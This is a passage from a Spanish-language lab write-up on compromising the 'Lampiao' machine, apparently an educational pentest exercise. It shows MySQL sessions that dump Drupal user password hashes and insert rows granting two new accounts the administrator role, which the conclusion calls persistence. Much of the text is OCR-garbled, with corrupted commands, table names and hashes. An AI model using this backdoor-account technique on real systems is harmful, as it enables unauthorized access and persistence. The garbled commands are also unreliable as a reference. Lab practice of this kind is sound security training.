'camilo@example.com', 1, UNIX _TIMESTAMP());

uid — Identificador Uinico de usuario.

name — Nombre del usuario en Drupal.

pass — Contraseina almacenada en formato hash (en este caso MDS5).
mail — Correo electronico asociado.

status — Estado del usuario (1 = activo).

created — Fecha de creacion en formato timestamp.



mﬁsdlb SELECT uid, name, mail, pass FROM users;

+ + + + +
| uid | name | mail | pass |
+ + + + +
| ol | | |
| 1 | tiago | lampiao@lampiao.com | $53DNZ50lk/NY7SUgtIvjPgNl40kHKwn4yXy2eroEnOALpmT@TIOSKE |
| 2 | Eder | eder@lampiao.com | $5$DvSorvhi7okimViImnVPmvgfwl2U .. PNK4ESIT/k7Lgz9GZRb7tY |
| 3] telle | tellof@example.com | $5%DgL6hT93t0bPydQiv7bHh9zPPDO1.E6IPiXbWLdPik8zK3dwXIk |
| 4 | camilo | camilo@example.com | $S$DxIXvP3FDezvUekUSDIH51LLOQfIGjN2g4rN6z4YULTMFxBFigAbhw |
+ + + + +
5 rows in set (0.00 sec)

Luego, verifiqué los roles existentes en el sistema:

SELECT * FROM role; ) ) o
mysgl> SELECT + FROM role;

+ +
| rid | name | weight |
+ i L] i
| 3 | administrator | I |
| 1 | anonymous user | gl
| 2 | avthenmticated user | 11
| & | writer | 30
i £ 4 L]
4 rows in set (B.81 sec)

mysgl> IMNSERT INTO wusers_roles (wid, rid) VALUES (3, 3);
Query OK, 1 row affected (9.01 sec)

mysgl> IMSERT INTO uwsers_roles (wid, rid) waLUES (4, 3);
Query 0K, 1 row affected {(0.02 sec)

Al confirmar que el rol 3 correspondia a administrator, asigné a los nuevos usuarios dichos
privilegios:

INSERT INTO users_roles (uid, rid) VALUES (3, 3);

INSERT INTO users_roles (uid, rid) VALUES (4, 3);

mysgl> IMSERT INTO users_roles (wid, rid) VALUES (3, 3);
Query OK, 1 row affected (.01 sec)

mysqgl> INSERT INTO wsers_roles (uid, rid) VALUES (4, 3);
Query 0K, 1 row affected (0.082 sec)



mysql> SELECT w.uid, u.name, r.mame AS rol
— FROM users u
— JOIN users_roles ur ON w.uid = wr.uwid
— JOIN role r ON ur.rid = r.rid;

+ + + +

| uid | name | rol

+ + + +

| 1| tiago | administrator |

| 3 | tello | administrator |

| 4 | camilo | administrator |

| 2 | Eder | writer |

+ + + +

4 rows in set (P.00 sec)

CONCLUSION

Se logré comprometer la maquina Lampido, obteniendo acceso remoto mediante
SSH y manipulando la base de datos Drupal para crear usuarios administradores,
asegurando persistencia. La practica demostrd como vulnerabilidades en servicios como SSH



y CMS permiten comprometer completamente un sistema, reforzando la importancia de
politicas de seguridad robustas y configuracion segura de servicios web.
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